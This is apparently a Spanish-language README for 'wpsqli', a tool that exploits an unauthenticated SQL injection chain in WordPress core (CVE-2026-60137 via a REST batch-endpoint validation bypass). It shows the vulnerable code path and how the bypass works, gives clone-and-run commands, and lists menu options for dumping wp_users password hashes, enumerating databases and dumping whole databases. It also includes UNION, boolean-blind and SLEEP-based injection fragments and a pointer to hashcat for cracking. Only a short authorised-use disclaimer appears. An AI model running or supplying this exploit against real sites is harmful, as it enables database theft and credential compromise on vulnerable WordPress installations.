
wpsqli full SQLi extractor + dumper for CVE-2026-60137
Una herramienta rápida de extracción de bases de datos basada en menús que explota la vulnerabilidad de inyección SQL
author__not_inen el núcleo de WordPress. Esta herramienta se centra exclusivamente en la enumeración y el volcado de bases de datos, utilizando la confusión de rutas del endpoint REST por lotes (CVE-2026-63030) para alcanzar el sumidero SQLi sin autenticación.
wpsqli es una herramienta escrita en Python puro diseñada para explotar una vulnerabilidad encadenada en el núcleo de WordPress que permite una inyección SQL no autenticada en la base de datos. Evita la validación de la API REST de WordPress mediante un error de confusión en las rutas del endpoint por lotes, enviando una cadena de carga útil cruda directamente al sumidero SQL de WP_Query.
Esta herramienta está diseñada para ser rápida y flexible: intenta automáticamente la extracción in-band basada en UNION (instantánea), recurre a la extracción boolean-blind paralela con 8 hilos y, finalmente, a la extracción secuencial basada en tiempo si es necesario.
Esta herramienta encadena dos vulnerabilidades independientes para lograr la extracción no autenticada de la base de datos:
author__not_in (CVE-2026-60137)Ubicación: wp-includes/class-wp-query.php, WP_Query::get_posts()
El parámetro author__not_in solo aplica la sanitización absint() si la entrada es un array. Si se pasa una cadena, se omite la comprobación is_array(), la cadena pasa a través de implode() sin cambios y se concatena cruda en la cláusula SQL $where.
// Línea 2404: la comprobación solo se activa para ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Línea 2408: la cadena pasa directamente
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Línea 2409: interpolación cruda
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
El endpoint de entradas de la API REST asigna author_exclude a author__not_in, pero lo declara como type => 'array' de enteros, por lo que el núcleo coacciona/rechaza una cadena. El Bug B introduce de contrabando la cadena más allá de la validación abusando de un error de desincronización en el endpoint por lotes de REST (/wp-json/batch/v1). Al inyectar un iniciador de ruta malformado que wp_parse_url() rechaza, se introduce un WP_Error en la lista de solicitudes del lote, desincronizando $matches de $validation. Esto permite que una sub-solicitud posterior se envíe bajo el manejador incorrecto sin validación de parámetros.
Advertencia: El sumidero SQLi solo se alcanza cuando NO se utiliza una caché de objetos persistente (Redis/Memcached).
pip install.wp_posts para extraer cadenas completas en una única solicitud HTTP (instantánea).Ctrl+C durante la extracción detiene la consulta actual y devuelve resultados parciales sin bloquear la sesión.ID|user_login|user_pass con hashes bcrypt listos para hashcat -m 35500.No se requiere instalación. Solo descargue y ejecute:
# Clonar el repositorio
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navegar al directorio
cd CVE-2026-60137
# Ejecutar
python main.py
Requisitos:
Lance el menú interactivo:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONEXIÓN
0. Conectar / Cambiar objetivo
1. Comprobar objetivo (versión + confirmación de vulnerabilidad)
------------------------------------------------------------
HUELLA DIGITAL
2. Versión de MySQL (@@version)
3. Nombre de la base de datos actual
4. Usuario actual de la base de datos
5. Prefijo de tablas de WordPress
6. Volcar wp_users (ID, login, hash de contraseña)
7. Consulta SQL personalizada
8. Extraer todas las huellas digitales (2+3+4+5)
------------------------------------------------------------
ENUMERACIÓN
9. Listar todas las bases de datos
10. Listar todas las tablas (base de datos actual)
11. Listar columnas de una tabla
------------------------------------------------------------
VOLCADO
12. Volcar una tabla específica
13. Volcar todas las tablas (base de datos actual)
14. Volcado completo a archivo (todas las tablas + todas las filas)
------------------------------------------------------------
15. Salir
============================================================
Elección: 0
Objetivo (https://example.com): https://target.com
¿Omitir verificación TLS? (s/N):
Retardo de espera para basado en tiempo (por defecto 3):
[*] Conectando a https://target.com ...
[+] Endpoint por lotes: https://target.com/wp-json/batch/v1
[*] Versión de WordPress: 6.9.4 VULNERABLE
[*] Probando extracción basada en UNION ...
[!] UNION no disponible — probando boolean blind (8 hilos paralelos) ...
[+] Modo boolean-blind activo (8 hilos, ~7 solicitudes/carácter)
[+] Basado en tiempo también funciona (0.69s vs 3.78s)
| Opción | Descripción |
|---|---|
0 | Conectar a un objetivo (sanitiza las URLs automáticamente) |
1 | Verificar la vulnerabilidad y el modo de extracción activo |
| Opción | Descripción |
|---|---|
9 | Listar todas las bases de datos en el servidor MySQL |
10 | Listar todas las tablas en la base de datos actual o especificada |
11 | Listar todos los nombres de columna de una tabla específica |
| Opción | Descripción |
|---|---|
12 | Volcar una sola tabla (con límite de filas opcional y guardado en archivo) |
13 | Volcar todas las tablas en la base de datos actual |
14 | Volcado nuclear completo — todas las tablas + todas las filas a un archivo con marca de tiempo |
La herramienta intenta automáticamente tres modos de extracción en orden de velocidad:
Forja una fila falsa de wp_posts con el valor extraído codificado en hexadecimal en la columna post_title (envuelto en marcadores ||..||). La API REST lo refleja en la respuesta — la cadena completa en una única solicitud HTTP.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) para codificar el resultadoSi UNION no está disponible, usa 8 hilos paralelos con búsqueda binaria para extraer cada carácter. El oráculo booleano comprueba si la condición inyectada AND (condition) devuelve filas.
Respaldo si el oráculo booleano no devuelve filas (por ejemplo, un sitio sin entradas publicadas). Usa IF(condition, SLEEP(N), 0) para codificar la verdad en la latencia de la respuesta.
Esta herramienta está diseñada únicamente para pruebas de seguridad autorizadas y fines educativos. Solo debe usar esta herramienta contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal.
Los autores y colaboradores de esta herramienta no son responsables de ningún uso indebido o daño causado por este software. Úsela bajo su propio riesgo.
Esta herramienta se proporciona únicamente con fines educativos y de pruebas autorizadas.
| Rango de Versiones | Estado |
|---|
| 6.8.0 – 6.8.5 | Bug SQLi presente, pero la cadena NO es alcanzable (la confusión por lotes se introdujo en 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERABLE — cadena completa sin autenticación |
| 7.0.0 – 7.0.1 | VULNERABLE — cadena completa sin autenticación |
| 6.8.6 | Parcheado (SQLi) |
| 6.9.5 | Parcheado |
| 7.0.2 | Parcheado |
| 7.1-beta2+ | Parcheado |
| Opción | Descripción |
|---|
2 | Extraer la versión de MySQL (SELECT @@version) |
3 | Extraer el nombre de la base de datos actual (SELECT DATABASE()) |
4 | Extraer el usuario actual de la base de datos (SELECT CURRENT_USER()) |
5 | Extraer el prefijo de tablas de WordPress |
6 | Volcar la tabla wp_users (ID, login, hash de contraseña) |
7 | Ejecutar una consulta SQL personalizada |
8 | Ejecutar todas las huellas digitales (opciones 2-5) en secuencia |
| Modo | Solicitudes por Consulta | Velocidad | Cuándo se Usa |
|---|
| UNION | 1 | Instantánea | Sin caché de objetos, el recuento de columnas coincide |
| Boolean (8 hilos) | ~7 × longitud_cadena / 8 | Rápida | UNION bloqueada, hay filas |
| Basado en tiempo | ~7 × espera × longitud_cadena | Lenta | Sin filas para el oráculo booleano |
| Extracción | Caracteres | Solicitudes | Tiempo |
|---|
| Versión de MySQL | ~20 | ~140 | ~15s |
| Nombre de la base de datos | ~15 | ~105 | ~12s |
| Usuario de la base de datos | ~25 | ~175 | ~20s |
| Prefijo de tablas | ~5 | ~35 | ~5s |
| Fila de wp_users (200 caracteres) | 200 | ~1400 | ~2min |